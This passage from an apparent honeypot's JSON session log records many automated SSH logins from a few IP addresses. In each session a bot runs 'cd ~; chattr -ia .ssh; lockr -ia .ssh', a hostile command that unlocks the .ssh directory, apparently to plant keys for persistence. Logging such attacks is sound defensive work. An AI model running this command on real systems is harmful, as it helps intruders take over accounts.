.ssh", "started_at": "2026-08-26T17:55:47.776042+00:00", "ended_at": "2026-08-26T17:55:48.730455+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "6e386465-3bb6-4d0e-94d3-53afdbec0a0f", "name": "bashful-coastal-dingo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 33048, "username": "b1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 528, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:52:45.810411+00:00", "ended_at": "2026-08-26T17:52:47.218282+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2241 }, { "id": "85e5618c-019d-4ab9-b5ec-763679292810", "name": "brave-mighty-otter", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 51704, "username": "administrator", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 526, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:49:45.923841+00:00", "ended_at": "2026-08-26T17:49:47.279948+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2272 }, { "id": "b28b3946-f40a-4a62-aad3-426a0baa5ba0", "name": "ginger-blithe-oxpecker", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 45198, "username": "camera", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 527, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:46:44.963741+00:00", "ended_at": "2026-08-26T17:46:46.472443+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "8362a899-814a-4232-9e21-5f7d15ea2953", "name": "ruddy-ancient-hyrax", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 58700, "username": "osadmin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 528, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:43:45.444701+00:00", "ended_at": "2026-08-26T17:43:46.470951+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2256 }, { "id": "1c769f06-f9f6-43a3-b9d6-eb995d5ad61e", "name": "shifting-granite-puffin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 36146, "username": "user1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 528, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:40:50.947543+00:00", "ended_at": "2026-08-26T17:40:52.293510+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "93ef68b0-34e4-4cb8-9604-d7f2d61343c0", "name": "bitter-amiable-goldfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 59452, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 536, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:37:47.927305+00:00", "ended_at": "2026-08-26T17:37:49.152592+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "79f7ac4d-90e9-48c0-970f-f9867fa65fd3", "name": "western-bronzed-lynx", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 35534, "username": "test", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 511, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:34:46.894710+00:00", "ended_at": "2026-08-26T17:34:48.125503+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2247 }, { "id": "c7f4841d-94b6-48a5-a1a5-b3460139507d", "name": "faded-hushed-hamster", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 48426, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 541, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:31:49.785155+00:00", "ended_at": "2026-08-26T17:31:51.183273+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "ca44722c-8e24-4640-ac8d-99a7a80da1f9", "name": "sincere-weathered-squirrel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 59808, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 549, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:28:55.684304+00:00", "ended_at": "2026-08-26T17:28:57.131528+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "04d8d87e-c675-4844-aef2-717c1814d070", "name": "painted-canny-curlew", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 35508, "username": "kevin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 525, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:25:58.561111+00:00", "ended_at": "2026-08-26T17:26:00.154051+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "4218c19a-437a-497c-96ad-c76533e859b1", "name": "lawful-sturdy-serval", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 45024, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 526, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:23:07.545343+00:00", "ended_at": "2026-08-26T17:23:08.968897+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "2092c945-ba1d-4b8d-91c9-6ad647fcdf48", "name": "faded-jolly-redshank", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 44208, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 539, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:20:13.004124+00:00", "ended_at": "2026-08-26T17:20:14.511849+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "44c50a88-9dbd-49f3-b57a-76d64fdc0a5d", "name": "genial-mighty-cormorant", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 50650, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 551, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:17:22.479193+00:00", "ended_at": "2026-08-26T17:17:23.573581+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "67ee518b-6e71-49b1-afcc-a116e782369c", "name": "brazen-wry-hoopoe", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 37428, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 527, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:14:22.643635+00:00", "ended_at": "2026-08-26T17:14:23.689337+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "255d38df-02f0-4cca-898c-7b78b044f7ea", "name": "marine-knotted-vicuna", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 38998, "username": "asag", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 526, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:11:25.039414+00:00", "ended_at": "2026-08-26T17:11:26.414109+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2251 }, { "id": "29b3df17-c552-48fc-bff5-8d8f330f9603", "name": "stoic-creaky-porcupine", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 43112, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 522, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:08:26.813864+00:00", "ended_at": "2026-08-26T17:08:28.398127+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "3ca54ba6-e0a4-4626-b417-5f43c9cc5874", "name": "somber-gentle-polecat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 60100, "username": "user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 516, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:05:33.235416+00:00", "ended_at": "2026-08-26T17:05:34.581998+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2241 }, { "id": "9f0bee0b-ab92-4117-82fc-9ef6d2db3505", "name": "murky-blazing-oxpecker", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 39672, "username": "metabase", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 526, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:02:42.709476+00:00", "ended_at": "2026-08-26T17:02:44.147919+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2259 }, { "id": "b08d1268-1073-4121-9931-19eb832d67e7", "name": "freckled-thorny-gerbil", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 33064, "username": "jupyter", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 528, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:59:41.891718+00:00", "ended_at": "2026-08-26T16:59:43.572865+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2243 }, { "id": "b64052af-e251-4e94-bc05-5ff4676c7fa5", "name": "dusky-tawny-parakeet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 53834, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 534, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:56:41.435014+00:00", "ended_at": "2026-08-26T16:56:42.891316+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2282 }, { "id": "24cde9e0-a18e-47da-b329-6317d940d3bf", "name": "stoic-hearty-lemur", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 43112, "username": "jenny1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 530, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:53:36.175527+00:00", "ended_at": "2026-08-26T16:53:37.626016+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2220 }, { "id": "815c960d-2ca0-4ed4-8fa8-222a00322bf7", "name": "stoic-sincere-waxwing", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 43722, "username": "store", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 525, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:50:37.663189+00:00", "ended_at": "2026-08-26T16:50:39.241651+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2206 }, { "id": "399c04e2-db52-4a37-8947-ae9cba25946a", "name": "weathered-noble-tern", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 43468, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 542, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:47:42.889485+00:00", "ended_at": "2026-08-26T16:47:44.105346+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "a658bcf5-063f-4dff-8e9a-afd117f622cb", "name": "sturdy-glacial-quokka", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 54946, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 499, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:44:52.681323+00:00", "ended_at": "2026-08-26T16:44:54.097677+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2236 }, { "id": "dc749601-cd80-4f73-991b-77c916554db9", "name": "crystal-sandy-siskin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 56228, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 526, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:41:54.034654+00:00", "ended_at": "2026-08-26T16:41:55.391110+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2227 }, { "id": "0cf5ac88-aba7-4987-86b4-c7729d5c142d", "name": "sincere-lively-vole", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 40512, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 522, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:39:02.987858+00:00", "ended_at": "2026-08-26T16:39:04.412047+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2214 }, { "id": "dfe32516-dbf5-44c6-aa2a-50a49dc95018", "name": "graceful-smooth-quokka", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 35794, "username": "paid", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 527, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:36:02.128642+00:00", "ended_at": "2026-08-26T16:36:03.176412+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2148 }, { "id": "b91537f6-9ff1-4eeb-af5b-04d617557b37", "name": "airy-honest-chough", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 40950, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 496, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:33:02.375277+00:00", "ended_at": "2026-08-26T16:33:03.404191+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2194 }, { "id": "75affbd1-c17d-485c-9aea-c1c42dbbde55", "name": "painted-graceful-goldcrest", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 36700, "username": "karen", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 528, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:29:58.222822+00:00", "ended_at": "2026-08-26T16:29:59.668350+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2135 }, { "id": "655e187b-1b6c-4f6f-b8d0-b41b99e7244f", "name": "patient-early-stork", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 51188, "username": "wildfly", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 529, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:27:02.283756+00:00", "ended_at": "2026-08-26T16:27:03.790352+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2122 }, { "id": "7309f578-a866-4771-bdff-e5bd2781e96b", "name": "blunt-honest-martin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 37414, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 512, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:24:06.570257+00:00", "ended_at": "2026-08-26T16:24:08.047062+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2159 }, { "id": "59f849ca-0769-4f62-ae81-c5fda7b7d22f", "name": "bronzed-tender-curlew", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 44514, "username": "radio", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 529, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:21:13.077028+00:00", "ended_at": "2026-08-26T16:21:14.094126+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2096 }, { "id": "bd8328f6-a8fc-4fe2-bc07-df1da51a5910", "name": "blithe-weathered-manatee", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 40810, "username": "controlm", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 499, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:18:18.633554+00:00", "ended_at": "2026-08-26T16:18:20.403154+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2094 }, { "id": "f57ca815-b782-4e35-be98-071ce4ec1f9d", "name": "somber-mottled-snipe", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 59328, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 534, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:14:52.536092+00:00", "ended_at": "2026-08-26T16:14:53.834919+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2126 }, { "id": "bafd474c-e03f-424c-be68-3e985b4e0fd4", "name": "sullen-misty-pheasant", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 51918, "username": "servidor", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 521, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:11:48.430238+00:00", "ended_at": "2026-08-26T16:11:49.728042+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2062 }, { "id": "b5467cdb-015c-4b4f-9341-16cdb32175c3", "name": "sleepy-emerald-goose", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 56616, "username": "arthur", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 528, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:08:46.379888+00:00", "ended_at": "2026-08-26T16:08:47.311563+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2047 }, { "id": "7ad9ac4b-316b-4ca6-9db6-dcbd2ba0263b", "name": "jagged-barren-tern", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 49888, "username": "reza", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 528, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:06:07.069167+00:00", "ended_at": "2026-08-26T16:06:07.761835+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2034 }, { "id": "781f0fa7-6ac3-47ca-8792-2ab888a6ad06", "name": "leafy-shifting-vulture", "protocol": "ssh", "channel_kind": "exec", "src_ip": "14.225.173.146", "src_port": 35112, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 1424, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:02:51.702893+00:00", "ended_at": "2026-08-26T16:02:52.866853+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2095 }, { "id": "541a13ec-c19a-423a-99f8-cada782cf517", "name": "somber-tranquil-crane", "protocol": "ssh", "channel_kind": "exec", "src_ip": "182.253.79.195", "src_port": 3862, "username": "lighthouse", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 802, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T16:01:34.453333+00:00", "ended_at": "2026-08-26T16:01:35.228882+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2048 }, { "id": "ddfce4b8-589b-49ff-9229-d976ec8e250c", "name": "pewter-mottled-ptarmigan", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40924, "username": "faisal", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 750, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:51:50.327883+00:00", "ended_at": "2026-08-26T15:51:51.487514+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2251 }, { "id": "5b25c425-c234-4dc7-bda4-d6e2658d8df6", "name": "quartz-wiry-skua", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40859, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 748, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:49:09.436344+00:00", "ended_at": "2026-08-26T15:49:10.787654+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "238c40fd-2f41-4e7b-8be5-5c55bffbf280", "name": "lofty-golden-shrike", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40856, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 751, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:46:24.778927+00:00", "ended_at": "2026-08-26T15:46:26.192802+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "de87a9b3-8ed7-48d0-8e07-7d2f0a277e76", "name": "lunar-reedy-onager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40853, "username": "testftp", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 749, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:43:40.861951+00:00", "ended_at": "2026-08-26T15:43:42.043794+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "8f7bd20e-1159-44f4-bb63-40cbc6eeec44", "name": "vaulted-umber-chough", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40850, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 762, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:41:00.967613+00:00", "ended_at": "2026-08-26T15:41:02.413847+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "2535591c-2b0a-4f61-a8ab-8cd924229163", "name": "stoic-fearless-peccary", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40847, "username": "ajay", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 762, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:38:13.799757+00:00", "ended_at": "2026-08-26T15:38:15.323567+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2255 }, { "id": "9f12fbab-1ccd-4fa1-a657-08523aff9bde", "name": "arctic-glassy-jackal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40844, "username": "odoo17", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 762, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:35:32.222507+00:00", "ended_at": "2026-08-26T15:35:33.337914+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "37f93808-47b9-42b1-b362-d3e336edccf6", "name": "emerald-western-cassowary", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40841, "username": "temp", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 756, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:32:47.683960+00:00", "ended_at": "2026-08-26T15:32:49.494280+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2255 }, { "id": "6749b97d-7b2e-42a8-bdc8-99cfa995d58a", "name": "wooded-mellow-lemur", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40838, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 757, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:30:07.414904+00:00", "ended_at": "2026-08-26T15:30:08.845919+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "cde989e9-5ca8-4956-b3d5-de0e287d64bf", "name": "regal-dusty-civet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40835, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 762, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:27:28.014575+00:00", "ended_at": "2026-08-26T15:27:29.715057+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "c6bd8dbf-abde-4be4-b73d-76100143e4e1", "name": "rugged-scarlet-galago", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40832, "username": "acer", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 751, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:24:37.976212+00:00", "ended_at": "2026-08-26T15:24:39.423750+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2241 }, { "id": "3694e3c9-045c-4f39-b2d8-d8a17f1b9e01", "name": "inland-quartz-jaguar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40829, "username": "stperez", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 747, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:21:53.524429+00:00", "ended_at": "2026-08-26T15:21:55.142540+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "eabb46c1-d88e-42ec-91c4-8f9f201e4e05", "name": "gallant-nautical-wallaby", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40826, "username": "ehsan", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 754, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:19:07.570401+00:00", "ended_at": "2026-08-26T15:19:09.068552+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "43c35472-6d7f-435a-abe5-a40ab6db6e36", "name": "frosty-nameless-dipper", "protocol": "ssh", "channel_kind": "exec", "src_ip": 